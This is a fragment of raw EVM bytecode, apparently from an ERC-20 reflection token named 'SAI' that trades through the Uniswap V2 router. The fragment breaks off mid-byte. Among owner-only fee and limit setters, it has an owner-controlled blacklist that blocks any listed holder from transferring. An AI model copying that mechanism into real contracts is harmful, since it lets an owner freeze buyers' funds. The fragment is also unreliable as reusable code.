6009905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610e99612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1d90615109565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610f89612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d90615109565b60405180910390fd5b80601960156101000a81548160ff02191690831515021790555050565b61103b612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf90615109565b60405180910390fd5b633b9aca00816110d89190615397565b600f8190555050565b6110e9612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d90615109565b60405180910390fd5b600060056000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611294612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131890615109565b60405180910390fd5b600047905061132f816134f4565b50565b600061137c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613718565b9050919050565b61138b612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90615109565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611534612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b890615109565b60405180910390fd5b6014811115611605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fc906150a9565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611640612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c490615109565b60405180910390fd5b6000600d54101580156116e357506064600d5411155b611722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171990615089565b60405180910390fd5b80600d8190555050565b611734612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b890615109565b60405180910390fd5b6014811115611805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fc90615049565b60405180910390fd5b8060128190555050565b60606040518060400160405280600381526020017f5341490000000000000000000000000000000000000000000000000000000000815250905090565b611854612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d890615109565b60405180910390fd5b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611972576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196990615029565b60405180910390fd5b61197c8282613786565b5050565b611988612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c90615109565b60405180910390fd5b600060056000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611b3f611b38612949565b8484612b1c565b6001905092915050565b611b51612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd590615109565b60405180910390fd5b60005b82829050811015611d7e57601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110611c3857611c37615578565b5b9050602002016020810190611c4d919061478f565b73ffffffffffffffffffffffffffffffffffffffff1614158015611ce65750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110611cb857611cb7615578565b5b9050602002016020810190611ccd919061478f565b73ffffffffffffffffffffffffffffffffffffffff1614155b15611d6b57600160076000858585818110611d0457611d03615578565b5b9050602002016020810190611d19919061478f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080611d76906154d1565b915050611be1565b505050565b611d8b612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0f90615109565b60405180910390fd5b80601960176101000a81548160ff02191690831515021790555050565b611e3d612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec190615109565b60405180910390fd5b6000611ed530611332565b9050611ee0816137e1565b50565b611eeb612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6f90615109565b60405180910390fd5b6005811115611fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb390615069565b60405180910390fd5b80600b8190555050565b611fce612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461205b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205290615109565b60405180910390fd5b601960149054906101000a900460ff16156120ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a2906151a9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061213b30601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000612951565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561218157600080fd5b505afa158015612195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121b991906147bc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561221b57600080fd5b505afa15801561222f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061225391906147bc565b6040518363ffffffff1660e01b8152600401612270929190614e82565b602060405180830381600087803b15801561228a57600080fd5b505af115801561229e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122c291906147bc565b601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061234b30611332565b60008061235661160f565b426040518863ffffffff1660e01b815260040161237896959493929190614ed4565b6060604051808303818588803b15801561239157600080fd5b505af11580156123a5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123ca9190614a5d565b505050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161246c929190614eab565b602060405180830381600087803b15801561248657600080fd5b505af115801561249a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124be9190614a03565b506001601960146101000a81548160ff02191690831515021790555043600e819055506001601a6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612566612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ea90615109565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612656612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126da90615109565b60405180910390fd5b60005b8383905081101561278257816006600086868581811061270957612708615578565b5b905060200201602081019061271e919061478f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061277a906154d1565b9150506126e6565b50505050565b60006127b5601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611332565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612849612949565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128cd90615109565b60405180910390fd5b80601960166101000a81548160ff02191690831515021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b890615189565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2890614fe9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612b0f91906151e9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8390615149565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf390614fa9565b60405180910390fd5b60008111612c3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3690615129565b60405180910390fd5b612c4761160f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612cb55750612c8561160f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156132e457600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612d5e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612d6757600080fd5b6005600e54612d769190615310565b4311612f9657601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612e285750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612e8a576001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550612f95565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612f365750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612f94576001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561303e5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561309c57600f548161305084611332565b61305a9190615310565b111561309b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161309290615169565b60405180910390fd5b5b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156131475750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561319d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156131fb57601960149054906101000a900460ff166131f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131e8906151c9565b60405180910390fd5b601054600c819055505b600061320630611332565b9050601960189054906101000a900460ff161580156132735750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561328b5750601960149054906101000a900460ff165b156132e257601154600c81905550600a548111156132e157601960169054906101000a900460ff166132bd57600a5490505b6000600d5411156132d6576132d181613a69565b6132e0565b6132df81613bdb565b5b5b5b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061338b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806133a25750601960159054906101000a900460ff165b156133ac57600090505b601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156134505750601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561347e57601960179054906101000a900460ff161561347857601254600c8190555061347d565b600090505b5b61348a84848484613c36565b50505050565b60008383111582906134d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134cf9190614f87565b60405180910390fd5b50600083856134e791906153f1565b9050809150509392505050565b6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613543600484613c6390919063ffffffff16565b60405161354f90614e52565b60006040518083038185875af1925050503d806000811461358c576040519150601f19603f3d011682016040523d82523d6000602084013e613591565b606091505b505090506000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166135e4600485613c6390919063ffffffff16565b6040516135f090614e52565b60006040518083038185875af1925050503d806000811461362d576040519150601f19603f3d011682016040523d82523d6000602084013e613632565b606091505b505090506000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613685600286613c6390919063ffffffff16565b60405161369190614e52565b60006040518083038185875af1925050503d80600081146136ce576040519150601f19603f3d011682016040523d82523d6000602084013e6136d3565b606091505b505090507f87331ab4876e21cfb9f6c68f69209cc294cb4b26abf5144477d1599bf074221783838360405161370a93929190614f50565b60405180910390a150505050565b600060085482111561375f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161375690614fc9565b60405180910390fd5b6000613769613cad565b905061377e8184613c6390919063ffffffff16565b915050919050565b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6001601960186101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613819576138186155a7565b5b6040519080825280602002602001820160405280156138475781602001602082028036833780820191505090505b509050308160008151811061385f5761385e615578565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561390157600080fd5b505afa158015613915573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061393991906147bc565b8160018151811061394d5761394c615578565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506139b430601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612951565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613a18959493929190615204565b600060405180830381600087803b158015613a3257600080fd5b505af1158015613a46573d6000803e3d6000fd5b50505050506000601960186101000a81548160ff02191690831515021790555050565b6001601960186101000a81548160ff0219169083151502179055506000600d546064613a9591906153f1565b90506000613ac16064613ab3600d5486613cd890919063ffffffff16565b613c6390919063ffffffff16565b90506000613ad9600283613c6390919063ffffffff16565b90506000613af08286613d5390919063ffffffff16565b90506000479050613b0082613d9d565b6000613b158247613d5390919063ffffffff16565b90506000613b3f6064613b318985613cd890919063ffffffff16565b613c6390919063ffffffff16565b9050613b4a816134f4565b60008183613b5891906153f1565b9050600086118015613b6a5750600081115b15613bb557613b798682613fef565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858289604051613bac9392919061525e565b60405180910390a15b50505050505050506000601960186101000a81548160ff02191690831515021790555050565b6001601960186101000a81548160ff021916908315150217905550613bff81613d9d565b60004790506000811115613c1757613c16476134f4565b5b506000601960186101000a81548160ff02191690831515021790555050565b80613c4457613c436140e3565b5b613c4f848484614126565b80613c5d57613c5c6142f1565b5b50505050565b6000613ca583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614305565b905092915050565b6000806000613cba614368565b91509150613cd18183613c6390919063ffffffff16565b9250505090565b600080831415613ceb5760009050613d4d565b60008284613cf99190615397565b9050828482613d089190615366565b14613d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d3f906150e9565b60405180910390fd5b809150505b92915050565b6000613d9583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613490565b905092915050565b6000600267ffffffffffffffff811115613dba57613db96155a7565b5b604051908082528060200260200182016040528015613de85781602001602082028036833780820191505090505b5090503081600081518110613e0057613dff615578565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613ea257600080fd5b505afa158015613eb6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613eda91906147bc565b81600181518110613eee57613eed615578565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f5530601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612951565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fb9959493929190615204565b600060405180830381600087803b158015613fd357600080fd5b505af1158015613fe7573d6000803e3d6000fd5b505050505050565b61401c30601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612951565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061406861160f565b426040518863ffffffff1660e01b815260040161408a96959493929190614ed4565b6060604051808303818588803b1580156140a357600080fd5b505af11580156140b7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906140dc9190614a5d565b5050505050565b6000600b541480156140f757506000600c54145b1561410157614124565b600b54601381905550600c546014819055506000600b819055506000600c819055505b565b600080600080600080614138876143ca565b95509550955095509550955061419686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613d5390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061422b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461443290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061427781614490565b614281848361454d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516142de91906151e9565b60405180910390a3505050505050505050565b601354600b81905550601454600c81905550565b6000808311829061434c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016143439190614f87565b60405180910390fd5b506000838561435b9190615366565b9050809150509392505050565b600080600060085490506000683635c9adc5dea00000905061439e683635c9adc5dea00000600854613c6390919063ffffffff16565b8210156143bd57600854683635c9adc5dea000009350935050506143c6565b81819350935050505b9091565b60008060008060008060008060006143e78a600b54600c54614587565b92509250925060006143f7613cad565b9050600080600061440a8e87878761461d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60008082846144419190615310565b905083811015614486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161447d90615009565b60405180910390fd5b8091505092915050565b600061449a613cad565b905060006144b18284613cd890919063ffffffff16565b905061450581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461443290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61456282600854613d5390919063ffffffff16565b60088190555061457d8160095461443290919063ffffffff16565b6009819055505050565b6000806000806145b360646145a5888a613cd890919063ffffffff16565b613c6390919063ffffffff16565b905060006145dd60646145cf888b613cd890919063ffffffff16565b613c6390919063ffffffff16565b90506000614606826145f8858c613d5390919063ffffffff16565b613d5390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806146368589613cd890919063ffffffff16565b9050600061464d8689613cd890919063ffffffff16565b905060006146648789613cd890919063ffffffff16565b9050600061468d8261467f8587613d5390919063ffffffff16565b613d5390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506146b581615a87565b92915050565b6000815190506146ca81615a87565b92915050565b6000813590506146df81615a9e565b92915050565b60008083601f8401126146fb576146fa6155db565b5b8235905067ffffffffffffffff811115614718576147176155d6565b5b602083019150836020820283011115614734576147336155e0565b5b9250929050565b60008135905061474a81615ab5565b92915050565b60008151905061475f81615ab5565b92915050565b60008135905061477481615acc565b92915050565b60008151905061478981615acc565b92915050565b6000602082840312156147a5576147a46155ea565b5b60006147b3848285016146a6565b91505092915050565b6000602082840312156147d2576147d16155ea565b5b60006147e0848285016146bb565b91505092915050565b6000602082840312156147ff576147fe6155ea565b5b600061480d848285016146d0565b91505092915050565b6000806040838503121561482d5761482c6155ea565b5b600061483b858286016146a6565b925050602061484c858286016146a6565b9150509250929050565b60008060006060848603121561486f5761486e6155ea565b5b600061487d868287016146a6565b935050602061488e868287016146a6565b925050604061489f86828701614765565b9150509250925092565b600080604083850312156148c0576148bf6155ea565b5b60006148ce858286016146a6565b92505060206148df8582860161473b565b9150509250929050565b60008060408385031215614900576148ff6155ea565b5b600061490e858286016146a6565b925050602061491f85828601614765565b9150509250929050565b600080602083850312156149405761493f6155ea565b5b600083013567ffffffffffffffff81111561495e5761495d6155e5565b5b61496a858286016146e5565b92509250509250929050565b60008060006040848603121561498f5761498e6155ea565b5b600084013567ffffffffffffffff8111156149ad576149ac6155e5565b5b6149b9868287016146e5565b935093505060206149cc8682870161473b565b9150509250925092565b6000602082840312156149ec576149eb6155ea565b5b60006149fa8482850161473b565b91505092915050565b600060208284031215614a1957614a186155ea565b5b6000614a2784828501614750565b91505092915050565b600060208284031215614a4657614a456155ea565b5b6000614a5484828501614765565b91505092915050565b600080600060608486031215614a7657614a756155ea565b5b6000614a848682870161477a565b9350506020614a958682870161477a565b9250506040614aa68682870161477a565b9150509250925092565b6000614abc8383614ac8565b60208301905092915050565b614ad181615425565b82525050565b614ae081615425565b82525050565b6000614af1826152c0565b614afb81856152e3565b9350614b06836152b0565b8060005b83811015614b37578151614b1e8882614ab0565b9750614b29836152d6565b925050600181019050614b0a565b5085935050505092915050565b614b4d81615449565b82525050565b614b5c8161548c565b82525050565b6000614b6d826152cb565b614b7781856152ff565b9350614b8781856020860161549e565b614b90816155ef565b840191505092915050565b6000614ba86023836152ff565b9150614bb382615600565b604082019050919050565b6000614bcb602a836152ff565b9150614bd68261564f565b604082019050919050565b6000614bee6022836152ff565b9150614bf98261569e565b604082019050919050565b6000614c11601b836152ff565b9150614c1c826156ed565b602082019050919050565b6000614c346039836152ff565b9150614c3f82615716565b604082019050919050565b6000614c576021836152ff565b9150614c6282615765565b604082019050919050565b6000614c7a6017836152ff565b9150614c85826157b4565b602082019050919050565b6000614c9d6031836152ff565b9150614ca8826157dd565b604082019050919050565b6000614cc0601d836152ff565b9150614ccb8261582c565b602082019050919050565b6000614ce3601c836152ff565b9150614cee82615855565b602082019050919050565b6000614d066021836152ff565b9150614d118261587e565b604082019050919050565b6000614d296020836152ff565b9150614d34826158cd565b602082019050919050565b6000614d4c6029836152ff565b9150614d57826158f6565b604082019050919050565b6000614d6f6025836152ff565b9150614d7a82615945565b604082019050919050565b6000614d926023836152ff565b9150614d9d82615994565b604082019050919050565b6000614db56000836152f4565b9150614dc0826159e3565b600082019050919050565b6000614dd86024836152ff565b9150614de3826159e6565b604082019050919050565b6000614dfb6017836152ff565b9150614e0682615a35565b602082019050919050565b6000614e1e6018836152ff565b9150614e2982615a5e565b602082019050919050565b614e3d81615475565b82525050565b614e4c8161547f565b82525050565b6000614e5d82614da8565b9150819050919050565b6000602082019050614e7c6000830184614ad7565b92915050565b6000604082019050614e976000830185614ad7565b614ea46020830184614ad7565b9392505050565b6000604082019050614ec06000830185614ad7565b614ecd6020830184614e34565b9392505050565b600060c082019050614ee96000830189614ad7565b614ef66020830188614e34565b614f